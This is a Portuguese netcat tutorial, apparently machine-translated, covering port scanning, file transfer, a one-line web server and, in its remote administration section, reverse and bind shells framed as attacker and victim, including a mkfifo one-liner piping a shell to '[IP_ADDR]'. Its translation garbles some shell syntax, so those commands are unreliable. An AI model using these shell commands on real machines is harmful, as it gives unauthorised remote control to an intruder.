NetCat

Netcat - Canivete suíço Pro uso

Netcat - Canivete suíço Pro uso
Netcat é um utilitário que é usado para ler e gravar dados nas portas TCP e UDP. Ele pode ser usado para muitas coisas legais, como transferência de arquivos, verificação de portas, redirecionamento de portas, backdoor no PC de outra pessoa, criação de um programa de bate-papo simples, para solução de problemas de rede e muito mais, por isso é conhecido como canivete suíço. Também vem pré-instalado com quase todas as distribuições Linux hoje em dia e é usado principalmente por administradores de rede, DevOps e engenheiros de segurança para suas pequenas tarefas diárias.

Uma breve diferença entre netcat-traditional e netcat-openbsd

Existem dois pacotes semelhantes disponíveis para netcat com uma ligeira diferença entre eles.

netcat-tradicional inclui uma opção '-e' adicional que pode ser usada para vincular um programa (i.e bash) com netcat. Este recurso é muito útil para fins de administração remota.

netcat-openbsd tem algum suporte adicional para IPv6 e proxies.

Instalação Netcat

Embora o netcat venha pré-instalado na maioria das distribuições Linux, se não estiver, ele pode ser instalado facilmente usando os seguintes comandos.

Para embalagem tradicional,

[email protegido]: ~ $ sudo apt-get install netcat-traditional

Para a versão openbsd,

[email protegido]: ~ $ sudo apt-get install netcat-openbsd

O Netcat para Windows pode ser baixado aqui https: // sourceforge.net / projects / nc110 / files /.

Agora vamos explorar alguns casos de uso interessantes do netcat

Verificação de portas usando netcat

Para procurar portas abertas, use a opção '-z'. O Netcat tentará se conectar a todas as portas sem enviar quaisquer dados ou dados muito limitados no caso UDP. Digite o seguinte

[email protegido]: ~ $ nc -z -v hackme.org 80
... recorte ..
hackear-me.org [217.78.1.155] 80 (http) aberto

Para procurar uma gama de portas, digite

[email protegido]: ~ $ nc -z -nv 192.168.100.72 20-80
(DESCONHECIDO) [192.168.100.72] 80 (http) aberto
(DESCONHECIDO) [192.168.100.72] 22 (ssh) aberto

Transferência de arquivos com netcat

Outro caso de uso útil do netcat é a transferência de arquivos entre computadores remotos. Você pode enviar textos e arquivos binários de um PC para outro PC. Tentaremos enviar um arquivo “arquivo.pdf ”do PC Linux para o PC Windows [IP 192.168.100.72] usando netcat como exemplo.

Na máquina Windows (receptor), digite o seguinte

C: \ Usuários> nc -nvlp 1337> arquivo.pdf
Ouvindo em [0.0.0.0] (família 2, porta 1337)

Na máquina Linux (remetente), digite o seguinte

[email protegido]: ~ $ nc -nv 192.168.100.72 1337 < file.pdf
Conexão a 192.168.100.72 1337 porta [tcp / *] bem-sucedida!

Administração Remota com netcat

Um dos melhores casos de uso do netcat é a administração remota, o que significa que você pode controlar o PC de outra pessoa usando o netcat. O Netcat-traditional vem com a opção '-e' que pode ser usada para vincular um programa (i.e cmd.exe no Windows ou bash no Linux) com uma porta, o que significa que o netcat atuará como comunicador entre o programa e o PC remoto. O Netcat receberá comandos do PC remoto, executará no sistema local e enviará os resultados de volta ao PC remoto. Este recurso é amplamente utilizado para fins maliciosos, para manter backdoors em PCs e servidores. Este recurso está disponível apenas no netcat-traditional, mas com um pequeno truque, o netcat-openbsd também pode ser usado para o mesmo propósito. Você pode usar duas maneiras de controlar o PC de outras pessoas.

Em um Shell reverso conexão, um invasor escuta em uma porta e espera que uma conexão seja enviada da máquina da vítima. É usado quando o computador da vítima está atrás de NAT ou não tem IP público.

Para obter um shell reverso usando o netcat, você precisa ouvir em uma porta usando o netcat. Digite o seguinte na máquina do invasor,

[email protegido]: ~ $ nc -nvlp 1337
Ouvindo em [0.0.0.0] (família 2, porta 1337)

Na máquina da vítima (se netcat-tradicional está instalado)

// substitua “/ bin / bash” por “cmd.exe ”no caso do Windows

[email protegido]: ~ $ nc -nv [IP_ADDR] 1337 -e / bin / bash

Para netcat-openbsd (onde a opção “-e” não é suportada)

[email protegido]: ~ $ rm / tmp / f; mkfifo / tmp / f; cat
/ tmp / f | / bin / sh -i 2> & 1 | nc [IP_ADDR] 1337> / tmp / f

Enquanto em um Bind Shell conexão, o invasor liga uma porta na máquina da vítima e se conecta a essa porta usando o soquete do cliente. É usado quando a máquina do invasor está atrás de NAT ou não tem um IP público.

Na máquina da vítima, digite

[email protegido]: ~ $ nc -nlvp 1337 -e / bin / bash
ouvindo em [qualquer] 1337 ..

Agora, para executar comandos na máquina da vítima, digite

[email protegido]: ~ $ nc -nv 127.0.0.1 1337
Conexão a 127.0.0.1 1337 porta [tcp / *] bem-sucedida!
$ id
uid = 1000 (azad) gid = 1000 (azad) grupos = 1000 (azad), 4 (adm), 24 (cdrom), 27 (sudo),
30 (dip), 46 (plugdev), 118 (lpadmin), 129 (sambashare)

Servidor web simples usando netcat

Você também pode fazer outro truque simples para usar o netcat como um servidor web mínimo de página única. Este servidor web seria muito simples, sem configurações especiais, e usaremos para enviar nosso código HTML para o navegador.

[email protegido]: ~ $ enquanto verdadeiro; faça echo -e "HTTP / 1.1 200 OK \ n \ n $ (echo "


My Simple Webserver using netcat

")" | nc -nvlp 1337; feito
Ouvindo em [0.0.0.0] (família 2, porta 1337)

Agora, tente buscar a página da web usando curl

[email protegido]: ~ $ curl http: // 127.0.0.1: 1337 /

My Simple Webserver using netcat

Especifique o tempo limite para uma sessão netcat

Você pode especificar o tempo limite para uma sessão netcat usando a opção “-w”. O Netcat desconectará automaticamente sua sessão após o tempo especificado expirar.

// -w [Tempo em segundos]
[email protegido]: ~ $ nc -w 40 -nvlp 1337
Ouvindo em [0.0.0.0] (família 2, porta 1234)

Continue ouvindo mesmo se o cliente fechar a conexão

No modo normal, o servidor netcat desliga e para de escutar na porta quando um cliente fecha a conexão. Você pode manter o servidor ativo usando a opção “-k”

[email protegido]: ~ $ nc -k -nlvp 1234
Ouvindo em [0.0.0.0] (família 2, porta 1234)

Conclusão

Netcat é um utilitário simples, mas eficiente, que pode ser usado para muitas tarefas diárias simples. Ele vem pré-instalado em quase todos os sistemas operacionais UNIX e pode ser usado para várias tarefas, como comunicação entre dois PCs, transferência de arquivos e muito mais.

Como usar o Xdotool para estimular cliques do mouse e pressionamentos de tecla no Linux
Xdotool é uma ferramenta de linha de comando gratuita e de código aberto para simular cliques do mouse e pressionamentos de tecla. Este artigo irá cob...
Os 5 principais produtos ergonômicos de mouse de computador para Linux
O uso prolongado do computador causa dor no pulso ou nos dedos? Você está sofrendo de rigidez nas articulações e constantemente precisa apertar as mão...
Como alterar as configurações do mouse e touchpad usando Xinput no Linux
A maioria das distribuições Linux vem com a biblioteca “libinput” por padrão para lidar com eventos de entrada em um sistema. Ele pode processar event...